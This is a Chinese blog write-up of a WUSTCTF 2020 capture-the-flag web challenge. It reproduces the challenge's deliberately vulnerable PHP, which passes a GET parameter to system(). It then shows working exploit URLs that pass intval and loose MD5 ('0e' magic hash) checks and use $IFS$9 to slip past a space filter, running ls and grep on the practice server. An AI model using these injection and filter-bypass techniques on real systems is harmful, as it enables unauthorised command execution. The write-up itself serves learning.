视频加载失败

[WUSTCTF 2020]

448 字
2 分钟
[WUSTCTF 2020]

在线靶场 https://www.nssctf.cn/problem/1988/

2026-09-30_22-25-17.png
2026-09-30_22-25-17.png
什么也没有,目录扫描看看
2026-09-30_22-27-37.png
2026-09-30_22-27-37.png
发现robots.txt
2026-09-30_22-30-20.png
2026-09-30_22-30-20.png
有个fAke_f1agggg.php,访问看看
2026-09-30_22-31-16.png
2026-09-30_22-31-16.png
什么也没有,线索还能在哪里
2026-09-30_22-33-12.png
2026-09-30_22-33-12.png
在/fAke_f1agggg.php的返回包里面看到了/fl4g.php

源代码

Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/fl4g.php:2) in /var/www/html/fl4g.php on line 3
<img src="/img.jpg">
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>

这很简单level1,if(intval($num) < 2020 && intval($num + 1) > 2021),令num=1e4,intval($num)就是1,满足小于2020;num+1=1e4+1=10001,满足大于2021

level2, if ($md5==md5($md5)),一个数的MD5等于它的MD5,只要开头都是0e就行,这样他们都是等于0的,0e215962017→ MD5 为0e291242476940776845150308577824

level3, if(!strstr($get_flag," ")),这是不能有空格的意思可以用$IFS$9代替; $get_flag = str_ireplace("cat", "wctf2020", $get_flag);这个会替换掉cat为wctf2020。 http://node5.anna.nssctf.cn:28498/fl4g.php?num=1e4&md5=0e215962017&get_flag=ls$IFS$9/看看根目录有什么。

2026-09-30_22-44-02.png
2026-09-30_22-44-02.png
我们在根目录没有发现疑似flag的文件。

http://node5.anna.nssctf.cn:28498/fl4g.php?num=1e4&md5=0e215962017&get_flag=grep$IFS$9-a$IFS$9-r$IFS$9NSS,全盘搜索NSS

2026-09-30_22-46-32.png
2026-09-30_22-46-32.png
找到flag。

文章分享

如果这篇文章对你有帮助,欢迎分享给更多人!

[WUSTCTF 2020]
https://tuulei.cn/posts/wustctf-2020/
作者
tuulei
发布于
2026-09-30
许可协议
CC BY-NC-SA 4.0
Profile Image of the Author
tuulei
请你再闪亮一点点,尽管我太平凡。
公告
分类
标签
最新动态
站点统计
文章
13
分类
4
标签
16
总字数
17,835
运行时长
0 天
最后活动
0 天前
总访问量
--

当前页面没有目录

文章目录

当前页面没有目录